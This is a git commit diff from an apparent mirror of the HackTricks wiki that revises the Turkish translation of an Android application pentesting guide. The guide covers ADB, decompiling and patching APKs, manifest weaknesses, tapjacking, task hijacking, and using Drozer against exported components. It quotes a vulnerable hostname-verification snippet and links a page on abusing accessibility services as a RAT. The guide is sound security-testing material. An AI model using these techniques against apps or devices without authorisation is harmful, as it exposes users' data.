mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
e6e3f77cf8
commit
e3a42621a6
@ -322,6 +322,7 @@
|
||||
|
||||
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
|
||||
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
|
||||
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
|
||||
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
|
||||
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
|
||||
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
|
||||
@ -13,20 +13,21 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, kabuk komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer işlevleri mümkün kılar.
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer birçok işlevi mümkün kılar.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden derlemeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
[**Bu eğitimde** bir APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç ipuçları
|
||||
|
||||
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
|
||||
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Ayrıcalıklı API (ADB tabanlı köksüz ayrıcalıklı erişim)](shizuku-privileged-api.md)
|
||||
- [Güvensiz Uygulama İçi Güncelleme Mekanizmalarını Sömürmek](insecure-in-app-update-rce.md)
|
||||
- [Güvensiz Uygulama İçi Güncelleme Mekanizmalarını Sömürme](insecure-in-app-update-rce.md)
|
||||
- [Erişilebilirlik Hizmetlerini Kötüye Kullanma (Android RAT)](accessibility-services-abuse.md)
|
||||
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Cihazdan APK çıkarın:
|
||||
```bash
|
||||
@ -60,7 +61,7 @@ Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı ok
|
||||
|
||||
### İlginç Bilgiler Aramak
|
||||
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulamaya sabitlenmiş yönetici kimlik bilgileri) için bile bakın.
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -68,24 +69,24 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir.
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp ardından açılarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
|
||||
|
||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Hata ayıklanabilir uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda hata ayıklanabilir uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, özellikle URL şemalarının giriş açıkları için nasıl yönetildiğine dikkat edilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, bu da güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, oysa etkileşim kurban uygulamasına iletilmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, oysa etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -95,7 +96,7 @@ tapjacking.md
|
||||
|
||||
### Görev Ele Geçirme
|
||||
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek olanı kullandığını düşünecektir**).
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -107,16 +108,16 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar dahil, bu dosyalara erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Harici Depolama**
|
||||
|
||||
**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır:
|
||||
|
||||
1. **Erişilebilirlik**:
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
@ -124,7 +125,7 @@ Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan**
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
@ -142,7 +143,7 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında *
|
||||
|
||||
**Tüm Sertifikaları Kabul Etme**
|
||||
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmese bile tüm sertifikaları kabul ederler:
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -162,7 +163,7 @@ Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **
|
||||
### Diğer Kontroller
|
||||
|
||||
- **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemleri saldırganlar için zorlaşır.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
|
||||
- APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
|
||||
@ -185,7 +186,7 @@ Xamarin uygulamalarının C# koduna kolayca erişmeyi öğrenmek için aşağıd
|
||||
|
||||
### Süper Paketlenmiş Uygulamalar
|
||||
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplamak** gibi daha hızlı bir yol içeriyor.
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplamak** gibi daha hızlı bir yol.
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
@ -208,7 +209,7 @@ bypass-biometric-authentication-android.md
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
|
||||
- [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
- [**Native fonksiyonları nasıl tersine mühendislik yapacağınızı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
@ -226,7 +227,7 @@ content-protocol.md
|
||||
|
||||
### Çevrimiçi Dinamik Analiz
|
||||
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir apk'nın nasıl davrandığını görmek için faydalıdır.
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
|
||||
Ayrıca, **uygulamanızın günlüklerini** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
|
||||
@ -238,7 +239,7 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (X86 ve ARM cihazları oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir ARM emülatörüne ihtiyaç duymadan destekler).
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
@ -251,7 +252,7 @@ avd-android-virtual-device.md
|
||||
> [!TIP]
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -259,7 +260,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur:
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -267,8 +268,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
@ -277,16 +278,16 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0'dan daha yeni** sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> **Android 4.0'dan** daha yeni sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
Eğer bir uygulama **çöker** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
|
||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
|
||||
|
||||
@ -303,7 +304,7 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
### Drozer (Sızdırılan Aktiviteler, İçerik Sağlayıcılar ve Hizmetler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
@ -319,7 +320,7 @@ Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabil
|
||||
|
||||
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ayrıca, adb'den ihracat edilen bir aktivite başlatabilirsiniz:
|
||||
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
|
||||
@ -342,30 +343,30 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Hizmetleri Sömürme**
|
||||
### **Servisleri Sömürme**
|
||||
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı servisleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
|
||||
[**Drozer ile Servisleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Yayın Alıcılarını Sömürme**
|
||||
### **Broadcast Alıcılarını Sömürme**
|
||||
|
||||
[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
|
||||
Bir broadcast alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
|
||||
